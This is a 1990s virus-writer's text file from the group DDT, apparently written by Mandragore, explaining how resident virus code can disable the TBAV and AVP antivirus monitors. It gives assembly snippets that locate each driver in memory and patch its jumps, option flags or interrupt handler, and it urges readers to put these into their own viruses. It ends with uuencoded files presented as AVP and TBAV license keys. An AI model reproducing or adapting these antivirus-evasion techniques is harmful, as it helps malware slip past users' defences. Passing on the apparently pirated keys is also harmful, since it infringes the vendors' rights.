ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
 ³ How to disable some residents shields ³                     Mandragore/DDT
 ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

                 HOW TO disable some residents shields
                ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~



===>   TBAV - fairly easy, based on the eb 0 method:

 we've just to disable TBDRIVER, since all modules work through it...
 you need to get the tbdriver segment.. here'z a way to get it:
        mov ax,1605h    ;  test if system ready for winblows launching
        mov dx,1        ;  some magic values
        xor cx,cx       ;    "          "
        int 2fh         ;  'multiplexor funcs'
           ÀÄ   es = seg

 now you've just to patch the argument of a jmp (0xeb) at seg:290h
        mov byte ptr es:[291h],0

 they're just disabled, and their residency check work yet!
 the only pb iz that the priors false-warnings are suppressed :(



===>  AVPTSR - not so known but well working. from AVP toolkit.

 it hooks the int 22h for his work, so there'z a fixed value in the PSP
 at offset +10 for int 22h : 3F5Ch . It's the offset of the AVPTSR int 22h
 hooker. what we need here is to get the segment, once again..
        mov si,3f5ch
        cmp wptr ds:[0ah],si
        jne no_avptsr
        mov ds,ds:[0ch]

 okay.. now let's look at the option byte (seg:23ADh) :

  byte 7        'Registers'             ???
  byte 6        'Check all files'       self xplain
  byte 5        'Scan on exec'          self xplain
  byte 4        'Dangerous call'        used for int 2fh
  byte 3        'Write to sector'       self xplain
  byte 2        'Format sector'         let this flag quiet ;)
  byte 1        'Memory check'          check below...
  byte 0        'Access to file'        int 21 sf 3d/40/43/57/...

 here'z the simple way to alter it:
        and word ptr ds:[23adh],0feh    ;  disable 'access to file' only

 mem check: there's a small problem... the flag is tested before the
 execution, so we have to disable (for example) the int 22h handler :
        mov byte ptr ds:[si],0cfh    ;  put an iret

 the pb: if something else hook int 22h after avptsr, you can't guess
 it's there, and their 'already rsdnt check' is to disp an AV string :(


Now it's your work to include it nicely in your own code, and use it while
it works... This txt wuz a pretext to put my perso greetz ;)


 URG0           keep thoses maths away from me, but bring me some ED beers :)
 Mi$t           keep workin! but beware of the urgo32 scepticism :P
 T-2000         i didn't forget you diz time :)  go back on IRC sometimes
 Darkman        after 12 years old, girlies aren't out of date!
 Reptile        0ne day i'll smoke ya |)~
 Yesna          hold reptile a moment plz....
 Buzz           prepare to run
 Virus-ex       nothing xcept >/dev/null
 Owl            keep da good work!
 all girlz who come sometimes on #vir, lemme hypnotise ya ;)
 and of course, respects to all DDT mmbrz!!



                                        Ä--ù  mAndRagírä -





bonus :)        i know that some of you don't already get it  !

begin 644 AVP.KEY
M0590(#,N,"!+97D@1FEL90````````````````````!!1"XX`P!,?1(0ZP``
M`&<!``!#C5@#^V'Z?3E/]H_PFO*Z['*>[.PR:>OGY1LJ4N$4XR+=\B3;VL`'
M"`D*"PP-#@\P7%-=4$?)R%E>54E9'1\?8&%B8V1E9F=7MTIX?7YZ=ZQB9U,&
M,#&4FS`I+XLX.G\6FQ%LE`P)"6@DJ;L<`@)LCA@&$KC#`1@*$EJ$?S\\+*#(
M[."JA=7P8(6E./[A:NNJG)A';(EJ:7G<]_KU\;Y@7)N"RLK#V:_'Z<O=W(/-
MQU7F8(Q+4DM2T,W.RX:2D<CT43WM&SGI&7&V0A4TQ.7[X?'ZX_V3]M>8G."?
M*ZV?(#FG@YL]'?WZ%^GJ#0H-"@T*6U)E9VES=')A=&EO;ET-"E)E9VES=&5R
M960]665S#0I.86UE/6UA;F1R86=O<F4-"D]R9V%N:7IA=&EO;CUM86YD<F%G
M;W)E(&%N9"`@0V\N(`T*4F5G3G5M8F5R/3,Q,S0X,3,S-0T*#0I;3&EC96YS
M95T-"D-O<'E);F9O/5)E9VES=&5R960@=F5R<VEO;@T*0V]P>4EN9F]%=F5R
M>4QA=6YC:#U.;PT*17AP:7)$871E/3`P+S`P+S(P,#`-"D%L87)M1&%Y<STQ
M,`T*#0I;4&QA=&9O<FUS70T*1&]S3&ET93U997,-"D1O<SU997,-"E=I;C,Q
M/5EE<PT*5VEN.34]665S#0I7:6Y.=#U997,-"D]S,CU997,-"DYO=F5L;#U9
M97,-"@T*6T]P=&EO;G-=#0I"87-E1&5L87D],@T*1&ES:6YF96-T/5EE<PT*
M56YP86-K/5EE<PT*17AT<F%C=#U997,-"D-!/5EE<PT*4F5M;W1E3&%U;F-H
M/5EE<PT*4F5M;W1E4V-A;CU997,-"DUO;FET;W(]665S#0I#4D,]665S#0H-
M"EM);F9O70T*4V5L;&5R/4UE=')O<&]L:71A;B!.971W;W)K($)"4R!);F,N
M#0I3=7!P;W)T/5-W:71Z97)L86YD.EQN365T<F]P;VQI=&%N($YE='=O<FL@
M0D)3($EN8RY<;D5M86EL("`@("`@(#H@:6YF;T!A=G`N8VA<;E=75R`@("`@
M("`@(#H@:'1T<#HO+W=W=RYA=G`N8V@O7&Y"0E,@("`@("`@("`Z("LT,2`H
M,"DS,2`S-#@@,3,S,2`@("`@7&Y&87@@("`@("`@("`Z("LT,2`H,"DS,2`S
)-#@@,3,S-0T*
`
end

begin 644 TBAV.KEY
M5&AU;F1E<F)Y=&4@<F5G:7-T<F%T:6]N(&ME>2X@56YA=71H;W)I>F5D(&1U
M<&QI8V%T:6]N('!R;VAI8FET960N($%L;"!R:6=H=',-"G)E<V5R=F5D+B`H
M0RD@0V]P>7)I9VAT(#$Y.3$M.3<L(%1H=6YD97)B>71E($(N5BP@5&AE($YE
M=&AE<FQA;F1S+B!,:6-E;G-E9"!T;SH-"DUA;F1R86=O<F4@(2`M(%-P96-I
M86P@;&EC96YS92`N````````````````````````````````````````````
M`````````````````````!H``````````````````',B<</?,6_.<`YM3E4X
M>8%NBF-/:+%]@9W1H*<?#L$!G3ZHJ(9ID+%`,CU<OO4<`D#%-5M7FEU2CH%=
M<UB#79,;@H?*57,1$PW8T;#R)^\G\"?E)^8GXR?D)^DGZB?G)^@GW2?>)]LG
MW"?A)^(GWR?@)]4GUB?3)]0GV2?:)]<GV">-)XXGBR>,)Y$G4M4_Y43T0?8S
MHDWK2.Y-]D_Q!+Q,U3OP/NY+HCSU_O-"[?SZ.O#Z]3KX/^[WY4#Q2:([ZO/T
M<>]IY6;K,.<.B7+-$?MOHE;C!.=LHFSK6NLEB5SG;/)=]"+F$Z),HFSP8.=M
1ZV#V5?0:YOB(]X'V@?6!848`
`
end